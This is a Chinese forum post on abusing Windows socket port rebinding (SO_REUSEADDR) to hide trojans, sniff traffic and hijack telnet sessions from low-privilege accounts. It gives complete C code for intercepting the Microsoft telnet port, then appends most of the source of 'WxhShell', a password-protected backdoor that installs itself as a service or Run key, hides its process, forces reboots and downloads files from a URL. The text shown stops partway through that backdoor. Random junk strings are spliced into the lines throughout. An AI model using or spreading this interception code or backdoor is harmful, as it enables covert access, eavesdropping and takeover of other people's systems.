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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: G=M] 8+h  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  0V11#   
-oBI+v&  
  saddr.sin_family = AF_INET; AfWl6a?T8:  
sV0Z  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); l%"`{   
<4F7@q, V  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); xi {|  
}F{=#Kqn^  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &>}.RX]t  
;cSGlE |  
  这意味着什么?意味着可以进行如下的攻击: GXb47_b^  
`ypL]$cW  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Md(JIlh3  
q&M:17+:Q  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) K_-MkY?+  
=mrY/ :V  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 iV)ac\  
UC9{m252  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  !y vJpdsof  
p?myuNd[  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 eYP=T+  
]UUI~sFE  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 7u%a/<  
IlHY%8F{  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ~"mj;5Id  
0M!0JJy#*  
  #include cb+y9wA  
  #include F/<qE!(  
  #include me./o(!?  
  #include    2,AaP*,  
  DWORD WINAPI ClientThread(LPVOID lpParam);   g37q/nEv  
  int main() G*\sdBW!k  
  { 5-p.MGso  
  WORD wVersionRequested; CX+9R3pa  
  DWORD ret; g3rRhS  
  WSADATA wsaData; ZO7bSxAN-  
  BOOL val; Ex,JB +  
  SOCKADDR_IN saddr; O_CT+Ou  
  SOCKADDR_IN scaddr; x}"Q8kD  
  int err; >~&(P_<b  
  SOCKET s; :o\5K2]:  
  SOCKET sc; [-VGArD[k,  
  int caddsize; 8IWw jyRr  
  HANDLE mt; P3$,ca'  
  DWORD tid;   p37|zX  
  wVersionRequested = MAKEWORD( 2, 2 ); ^gm>!-Gx  
  err = WSAStartup( wVersionRequested, &wsaData ); A7'bNd6f9  
  if ( err != 0 ) { a;&}zcc*  
  printf("error!WSAStartup failed!\n"); vXubY@k2  
  return -1; 1l]C5P}E  
  } A9 n41,h  
  saddr.sin_family = AF_INET; G^KC&  
   @^wpAQfd4  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ('BLU.7IX  
9r8D*PvS  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); DQ5W6W  
  saddr.sin_port = htons(23); <3Fz>}V32  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) J 9a $AU*  
  { {5 Kz'FT  
  printf("error!socket failed!\n"); 7:kCb[ji"  
  return -1; ;Vo mFp L  
  } =, TSMV  
  val = TRUE; U?EG6t  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 (fd[P|G_]  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ;@!;1KDy  
  { VKf6|ae  
  printf("error!setsockopt failed!\n"); BvI 0v:  
  return -1; CXa Ld7nMX  
  } Oo/8Y E @  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; cyb(\ fsC  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 \>;%Ji  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 &E]"c]i+  
<{ # <5 8  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) tj#b_ u z  
  { \P?--AI q<  
  ret=GetLastError(); @WJf)  
  printf("error!bind failed!\n"); +{0=<2(EC  
  return -1; ecT]p  
  } s[Gswd  
  listen(s,2); <)J55++  
  while(1) Re\o v x9  
  { }6@%((9E 2  
  caddsize = sizeof(scaddr); W+/2c4$F3  
  //接受连接请求 w< mqe0  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); VwC4QK,d;  
  if(sc!=INVALID_SOCKET) fr]Hc+7  
  { UhBz<>i;!  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); #8&#E?^d  
  if(mt==NULL) Hi7G/2t@`  
  { d1lH[r!Z  
  printf("Thread Creat Failed!\n"); lux9o$ %  
  break; DZ%8 |PmB  
  } 5IO3 %p?  
  } mVHFT~x7}  
  CloseHandle(mt); }Oh5Nm)  
  } _]_LF[  
  closesocket(s); :^.u-bHI  
  WSACleanup(); b8e*Pv/  
  return 0; N&,"kRFFo  
  }   {~"Em'}J  
  DWORD WINAPI ClientThread(LPVOID lpParam) YiO3<}Uf  
  { U#$:\fT  
  SOCKET ss = (SOCKET)lpParam; xT/9kM&}L  
  SOCKET sc; 0*{@E%9  
  unsigned char buf[4096]; .:SfM r;G  
  SOCKADDR_IN saddr; ,`+Bs&S 8  
  long num; $ JuLAqq  
  DWORD val; }R\B.2#M_@  
  DWORD ret; 4(;20(q]  
  //如果是隐藏端口应用的话,可以在此处加一些判断 CCy .  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   wV?[3bEhM  
  saddr.sin_family = AF_INET; h4hd<,  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #W.bZ]&WA  
  saddr.sin_port = htons(23); |:}L<9Sq  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0x6@{0  
  { <%(f9j  
  printf("error!socket failed!\n"); 7%X+O8  
  return -1; sbpu qOL  
  } ,qYf#fU#7  
  val = 100; oX2r?.j#M  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )y5iH){ !  
  { FmR\`yY_,  
  ret = GetLastError(); sAf9rZt*'  
  return -1; ]KzJ u`O%G  
  } Mru~<:9  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) EyzY2>"^  
  { }&=uZ:  
  ret = GetLastError(); 2Sv>C `FMU  
  return -1; miWw6!()  
  } f)qPFM]%z  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) zab w!@]  
  { %jpH:-8'2  
  printf("error!socket connect failed!\n"); %OTQRe:  
  closesocket(sc); "rL"K  
  closesocket(ss); Sw/J+FO2  
  return -1; A<]&JbIt  
  } j`Tm\!q  
  while(1) #dL5x{gV=  
  { uTxX`vH@!  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 s-fKh`  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 PZ~`O  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 #V,LNX)  
  num = recv(ss,buf,4096,0); 9{T 8M  
  if(num>0) E`U &Z  
  send(sc,buf,num,0); tvv[$ b&  
  else if(num==0) ]Pz|Oi+]  
  break; }7otuO(pRo  
  num = recv(sc,buf,4096,0); lrq>TJEcx  
  if(num>0) 3KB| NS  
  send(ss,buf,num,0); Bi %Z2/  
  else if(num==0) A3m{jbh  
  break; hYs82P|2Ol  
  } ?=TL2"L  
  closesocket(ss); 8Ix -i  
  closesocket(sc); $b&BH'*'~  
  return 0 ; ,M| QN*  
  } PEK.Kt\M  
GP0[Y  
A&x ab  
========================================================== tj`tLYOZ@-  
]:[)KZ~  
下边附上一个代码,,WXhSHELL ))8Emk^Q{  
)zo#1$C-  
========================================================== = E##},N"  
L.R"~3  
#include "stdafx.h" IS3e|o*]MP  
}x{rTEq  
#include <stdio.h> ]t8{)r  
#include <string.h> JI28O8  
#include <windows.h> $1:}(nO,  
#include <winsock2.h> #p']-No  
#include <winsvc.h> L{4),65  
#include <urlmon.h> f$~ _FX  
{ILp[ &sL  
#pragma comment (lib, "Ws2_32.lib") \HBVNBY  
#pragma comment (lib, "urlmon.lib") ^Tb}]aHg  
^p{A!I!  
#define MAX_USER   100 // 最大客户端连接数 =ip~J<sw&  
#define BUF_SOCK   200 // sock buffer liBAJx  
#define KEY_BUFF   255 // 输入 buffer HQ ELK  
LG"BfYy6  
#define REBOOT     0   // 重启 ,AGM?&A  
#define SHUTDOWN   1   // 关机 hpd(d$j  
Fr938q6^-  
#define DEF_PORT   5000 // 监听端口 Uqb]e?@  
3sd{AkD^  
#define REG_LEN     16   // 注册表键长度 P2A]qX  
#define SVC_LEN     80   // NT服务名长度 5WrIg(l  
O6*'gnke  
// 从dll定义API * ePDc'   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \<0G kp  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); FN{H\W1cf  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,I 9][_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }3 fLV  
FU [8:o62  
// wxhshell配置信息 xg*\j)_}  
struct WSCFG { ~ z-?rW  
  int ws_port;         // 监听端口 `8$:F4%P  
  char ws_passstr[REG_LEN]; // 口令 DctX9U(  
  int ws_autoins;       // 安装标记, 1=yes 0=no x9FLr}e  
  char ws_regname[REG_LEN]; // 注册表键名 /h.:br?M#P  
  char ws_svcname[REG_LEN]; // 服务名 ~Hp#6+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A)O_es 2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #U\&i`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F:[Nw#gj/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no yBXkN&1=%;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >x|A7iWn{,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !3b|*].B  
[="g|/M)  
}; W07-JHV%  
AaCnTRG  
// default Wxhshell configuration : 9djMsd  
struct WSCFG wscfg={DEF_PORT, CWobvR)e  
    "xuhuanlingzhe", &V ^  
    1, Xy3g(x]  
    "Wxhshell", Y%n{`9=  
    "Wxhshell", T6/$pJl  
            "WxhShell Service", S\yu%=h  
    "Wrsky Windows CmdShell Service", \S|VkPv  
    "Please Input Your Password: ", i4{ /  
  1, H`+]dXLB  
  "http://www.wrsky.com/wxhshell.exe", S?,KgMVM  
  "Wxhshell.exe" [FeJ8P>z  
    }; A$H+4L  
gavQb3EP  
// 消息定义模块 p3,(*eZ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n;S0fg  
char *msg_ws_prompt="\n\r? for help\n\r#>"; eY6gb!5u  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @SF" )j|  
char *msg_ws_ext="\n\rExit."; ^-c si   
char *msg_ws_end="\n\rQuit."; /:*R -VdF  
char *msg_ws_boot="\n\rReboot..."; n##w[7B*  
char *msg_ws_poff="\n\rShutdown..."; /jK17}j  
char *msg_ws_down="\n\rSave to "; it/C y\f  
]XpU'/h>q;  
char *msg_ws_err="\n\rErr!"; }R(0[0NQe-  
char *msg_ws_ok="\n\rOK!"; ~]6Oz;~<3  
0IT20.~  
char ExeFile[MAX_PATH]; fmZzBZ_  
int nUser = 0; |2+F I<v4  
HANDLE handles[MAX_USER]; {=pP`HD0  
int OsIsNt; z</XnN  
N~Sue  
SERVICE_STATUS       serviceStatus; ~,`\D7Z3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; YDZ1@N}^B  
L&3Ar'  
// 函数声明 !)51v {  
int Install(void); W~+!"^<n  
int Uninstall(void); g[D,\  
int DownloadFile(char *sURL, SOCKET wsh); VQG  /g\  
int Boot(int flag); q6m87O9  
void HideProc(void); pO7{3%  
int GetOsVer(void); 4/mj"PBKL  
int Wxhshell(SOCKET wsl); f4aD0.K.g|  
void TalkWithClient(void *cs); /%}YuN  
int CmdShell(SOCKET sock); Xx9~  
int StartFromService(void); =E6i1x%j  
int StartWxhshell(LPSTR lpCmdLine); yo Q?lh  
wZ\e3H z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n_!]B_Vd$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }ii]c Y  
[w#x5Xsn  
// 数据结构和表定义 dTU.XgX)1^  
SERVICE_TABLE_ENTRY DispatchTable[] = k{u%p<  
{ ]( U%1  
{wscfg.ws_svcname, NTServiceMain}, oN1wrf}Sh  
{NULL, NULL} l66ipgw_^I  
}; no\}aTx  
y!{/'{?P  
// 自我安装 #Ko+_Hm?4  
int Install(void) 40l#'< y;  
{  S9ak '  
  char svExeFile[MAX_PATH]; 9{]r+z:  
  HKEY key; ay7+H7^|hZ  
  strcpy(svExeFile,ExeFile); *{D:1S  
!tFU9Zt  
// 如果是win9x系统,修改注册表设为自启动 f'zFg["aZS  
if(!OsIsNt) { \PtC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XR=c 8f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E6wST@ r  
  RegCloseKey(key); mG8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  qzU2H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;Cp/2A}Xx  
  RegCloseKey(key); [2H(yLwO  
  return 0; *v7& T  
    } zf!\wY"`  
  } Pi]s<3PL  
} WY. \<$7  
else { OD@@O9  
{/|8g(  
// 如果是NT以上系统,安装为系统服务 nD?M;XN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2zrWR%B  
if (schSCManager!=0) nLN6@  
{ qwq+?fj={  
  SC_HANDLE schService = CreateService Iy1X nS*  
  ( C_khd"  
  schSCManager, !^"!fuoNC  
  wscfg.ws_svcname, ]@<3 6ByM  
  wscfg.ws_svcdisp, |Nx!g fU  
  SERVICE_ALL_ACCESS, K&a]pL6D  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {]_{BcK+  
  SERVICE_AUTO_START, cI4qgV  
  SERVICE_ERROR_NORMAL, Z=/L6Zb  
  svExeFile, |~" A:gf  
  NULL, .1?i'8TF  
  NULL, :z,vJ~PW  
  NULL, Jv{"R!e"P  
  NULL, 0 f#a_  
  NULL <T2~xn  
  ); R7;rBEt8  
  if (schService!=0) IM&7h! l"|  
  { '8pPGh9D  
  CloseServiceHandle(schService); <n2{+eO  
  CloseServiceHandle(schSCManager); I9j+x ])  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); fM[fS?W  
  strcat(svExeFile,wscfg.ws_svcname); kKk |@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 63dtO{:4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hu*>B  
  RegCloseKey(key); `R=_t]ie  
  return 0; 9oau _Q#  
    } )1yUV*6  
  } ujHzG}2z  
  CloseServiceHandle(schSCManager); ZtK%b+MBP  
} p2f WL  
} =`.5b:e  
`q{'_\gVt(  
return 1; >D^7v(&  
} _(s|Q  
{4jSj0W  
// 自我卸载 {c EK z\RX  
int Uninstall(void) %m\G'hY2  
{ LVcy.kU@]  
  HKEY key; ppo$&W &z  
r L|BkN  
if(!OsIsNt) { mt6uW+t/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wTuRo J  
  RegDeleteValue(key,wscfg.ws_regname); bFdg '_  
  RegCloseKey(key); d~bH!P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mbG^fy'  
  RegDeleteValue(key,wscfg.ws_regname); WF.$gBH"  
  RegCloseKey(key); 8_,wOkk_B  
  return 0; exMPw ;8  
  } y42T.oK8c  
} o6yZ@R  
} O09g b[  
else { C]cT*B^  
a ZCZ/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5N</Z6f'o  
if (schSCManager!=0) n)7$xYuH  
{ ]be2jQx3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \c^jaK5  
  if (schService!=0) O NzdCgY  
  { kk./-G  
  if(DeleteService(schService)!=0) { 3:gO7Uv  
  CloseServiceHandle(schService); v@1Jh ns  
  CloseServiceHandle(schSCManager); Hw.@Le>  
  return 0; `,]PM) iC  
  } -#z'A  
  CloseServiceHandle(schService); vh3iu +  
  } <yaw9k+P  
  CloseServiceHandle(schSCManager); IG@&l0ARL  
} 0_Z|y/I.  
}  Jy[8,X  
aZ0iwMK  
return 1; N0KRND  
} X1QZEl  
k#G7`dJl  
// 从指定url下载文件 (dnc7KrM  
int DownloadFile(char *sURL, SOCKET wsh) K]Cs2IpI  
{ iK0J{'  
  HRESULT hr; 3T^dgWXEG  
char seps[]= "/"; >N"PLSY1  
char *token; MBrVh6z>  
char *file; pY5HW2TsY|  
char myURL[MAX_PATH]; @uD{`@[  
char myFILE[MAX_PATH]; $>37PVVW  
!/9Sb1_~  
strcpy(myURL,sURL); !{aA*E{  
  token=strtok(myURL,seps); 3$f5][+U  
  while(token!=NULL) Q"_T040B  
  { ,'DrFlI  
    file=token; X(q=,^Mp  
  token=strtok(NULL,seps); X51$5%  
  } _( /lBf{|  
T}x%=4<E  
GetCurrentDirectory(MAX_PATH,myFILE); jmVy4* P_  
strcat(myFILE, "\\"); \(t>(4s_~  
strcat(myFILE, file); ;AA7wK 4  
  send(wsh,myFILE,strlen(myFILE),0); #mxfU>vQ:  
send(wsh,"...",3,0); j@\/]oL^We  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); k$- q; VI  
  if(hr==S_OK) Eu~wbU"%  
return 0; #u(,#(P'#  
else AdW7 vn  
return 1; X.5LB!I)  
p arG  
} J~`%Nj5>  
$F$R4?_  
// 系统电源模块 ee[NZz  
int Boot(int flag) Pt;Ahmi  
{ RIx6& 7$  
  HANDLE hToken; iFchD\E*o  
  TOKEN_PRIVILEGES tkp; UHHKI)(  
.[ s82c]]6  
  if(OsIsNt) { Tz~ ftf  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +>({pHZ<S  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !Hj)S](F  
    tkp.PrivilegeCount = 1; |^!@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5W-M8dc6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;itg>\ p3  
if(flag==REBOOT) { XmR5dLc8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .?]_yX  
  return 0; K0a 50@B]  
} }-iOYSn  
else { kfECC&"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]`9K|v  
  return 0; =%G[vm/-)  
} M&-/ &>n!  
  } "A3xX&9-q  
  else { l_EI7mJ  
if(flag==REBOOT) { A2S9h,t  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S*:w\nXP~  
  return 0; >ON.ftZ i  
} &$im^0`r_  
else { p8J"%Jq}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8"^TWzg}L  
  return 0; c17==S  
} )uWNN"  
} 3f8Z ?[Bb@  
d69VgLg  
return 1; L@GD$F=<0  
} KK|Jach  
OUMr}~/  
// win9x进程隐藏模块 l))IO`s=_  
void HideProc(void) 63$m& ]x  
{ essW,2,rjC  
;Bi{;>3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4tWI)}+ak  
  if ( hKernel != NULL ) H4jqF~  
  { 4/_|Qy  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $Bb/GXn{\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *?Y6qalSy  
    FreeLibrary(hKernel); 7^5BnF@  
  } ;O>fy :$'  
5,Zn$zosJC  
return; X:/t>0e  
} P2F>iK#U  
G$<0_0GF  
// 获取操作系统版本 D3ad2vH  
int GetOsVer(void) 4F!d V;"Z(  
{ [N)M]u  
  OSVERSIONINFO winfo; =Y[Ae7e  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); LcF3P 4  
  GetVersionEx(&winfo); :LG%8Z{R  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) DcHMiiVM  
  return 1; z& jDOex  
  else ~V)E:(  
  return 0; ;_\P;s  
} p60D{UzU  
Eq{TZV  
// 客户端句柄模块  Pq%cuT%  
int Wxhshell(SOCKET wsl) { VO4""m  
{ ?Q2pD!L{  
  SOCKET wsh; {c; 3$  
  struct sockaddr_in client; dW68lVWq_  
  DWORD myID; ]+P &Y:   
W9"I++~f  
  while(nUser<MAX_USER) *6tN o-)^  
{ *Cw2h  
  int nSize=sizeof(client); ]9Hy "#Fz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); oJ:J'$W(  
  if(wsh==INVALID_SOCKET) return 1; = ;d<Ikj  
L4b4X  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); g!ww;_  
if(handles[nUser]==0) P+h&tXZn8  
  closesocket(wsh); 67?5Cv  
else G]CY3xw98  
  nUser++; H;1}Nvvd  
  } ;\N*iN#K  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $EF@x}h:A  
d .A0(*k,  
  return 0; y rk#)@/m  
} flqTx)xE  
KG$2u:n  
// 关闭 socket eHR<(8c'f  
void CloseIt(SOCKET wsh) pJ[Q.QxU  
{ J7xmf,76w  
closesocket(wsh); 1S.~-K*X  
nUser--; ':3KZ4/C  
ExitThread(0); FQ%mNowuj  
} 5FxU=M1gF  
HJmO+  
// 客户端请求句柄 [eRMlSXA  
void TalkWithClient(void *cs) Ay]5GA!W+  
{ "RLb wm~  
-w B AFr  
  SOCKET wsh=(SOCKET)cs; o*_D  
  char pwd[SVC_LEN]; 5mU_S\)4:z  
  char cmd[KEY_BUFF]; ^>fs  
char chr[1]; 9&cZIP   
int i,j; [@6iStRg7  
}^muAr  
  while (nUser < MAX_USER) { z{\.3G  
Fm "$W^H  
if(wscfg.ws_passstr) { )Yml'?V"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?}[keSEh>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VM[8w`  
  //ZeroMemory(pwd,KEY_BUFF); @d\F; o<  
      i=0; "|if<hx+  
  while(i<SVC_LEN) { 3nO|A: t  
DZue.or  
  // 设置超时 s><co]  
  fd_set FdRead; AM>:At Y  
  struct timeval TimeOut; JFZ p^{  
  FD_ZERO(&FdRead); P*>V6SK>b  
  FD_SET(wsh,&FdRead); ioggD  
  TimeOut.tv_sec=8; c'b,=SM  
  TimeOut.tv_usec=0; ~"k'T9QBY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D6w0Y:A{.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7nmo p7  
z( wXs&z;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {/ta1&xyG  
  pwd=chr[0]; '' 6  
  if(chr[0]==0xd || chr[0]==0xa) { 4rm/+Zes  
  pwd=0; cu-WY8n  
  break; ]G:xTv8  
  } m| Z)h{&  
  i++; (]:G"W8f  
    } F}Au'D&n_  
@lwqk J  
  // 如果是非法用户,关闭 socket &+v&Dd&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +-hmITJ v  
} |NI0zd  
?@_dx=su  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rfjQx]3pB  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O%r<I*T^r  
>KE(%9y~  
while(1) { 7u zN/LAF  
z?PF9QL1  
  ZeroMemory(cmd,KEY_BUFF); B !XT:.+  
}49?Z3  
      // 自动支持客户端 telnet标准   uyj5}F+O  
  j=0; ;c`B '  
  while(j<KEY_BUFF) { `d8TA#|`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /y}  
  cmd[j]=chr[0]; DcOLK\  
  if(chr[0]==0xa || chr[0]==0xd) { nMhc3t  
  cmd[j]=0; .NKN2  
  break; 4:.M*Dz  
  } /SiQw7yp%  
  j++; ^N]*Zf~N?  
    } oW6.c]Vo  
WCH>9Z>cj  
  // 下载文件 >9 iv>  
  if(strstr(cmd,"http://")) { KvQ9R!V  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); du !.j  
  if(DownloadFile(cmd,wsh)) "jSn`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *$QUE0  
  else /vu7;xVG  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WI%,m~  
  } `)'YU^s  
  else { L,i-T:Z~=  
}sFHb[I &  
    switch(cmd[0]) { IoC,\$s,  
  OHU(?TBo  
  // 帮助 >a<;)K^1  
  case '?': { \?j(U8mB>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *d=pK*g  
    break; @c.pOX[]m,  
  } wegBMRQVp  
  // 安装 zIu1oF4[  
  case 'i': { H_{Yr+p  
    if(Install()) ,D8 Tca\v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BEw(SQH  
    else ?IK[]=!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QZX+E   
    break; WDcjj1`l  
    } ~Y{K ^:wN^  
  // 卸载 ~%]+5^Ka]  
  case 'r': { O_ ~\$b  
    if(Uninstall()) v"`w'+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sS._N@f  
    else 7j^,4;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .m .v$(  
    break; ' `S,d[~  
    } ^Oo%`(D?  
  // 显示 wxhshell 所在路径 hGsY u)  
  case 'p': { },l3N K  
    char svExeFile[MAX_PATH]; }q^CR(h (R  
    strcpy(svExeFile,"\n\r"); |.YL 2\  
      strcat(svExeFile,ExeFile); J( 0c#}d  
        send(wsh,svExeFile,strlen(svExeFile),0); 2?&h{PA+  
    break; ;aSEv"iWX  
    } K#>B'>A\  
  // 重启 d2pVO]l YZ  
  case 'b': { dI`b AP;\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); bFcI\Q{4  
    if(Boot(REBOOT)) !(/dbHB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \Q]7Hw<  
    else { N*eZ4s'  
    closesocket(wsh); DUaj]V{_^  
    ExitThread(0); KyjN'F$  
    } 0ZO!_3m$r  
    break; /0A}N$?>:  
    } V[#jrwhA  
  // 关机 7a2 uNt,X  
  case 'd': { ]'hz+V31%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qTG/7tn "  
    if(Boot(SHUTDOWN)) \j4TDCs_[  
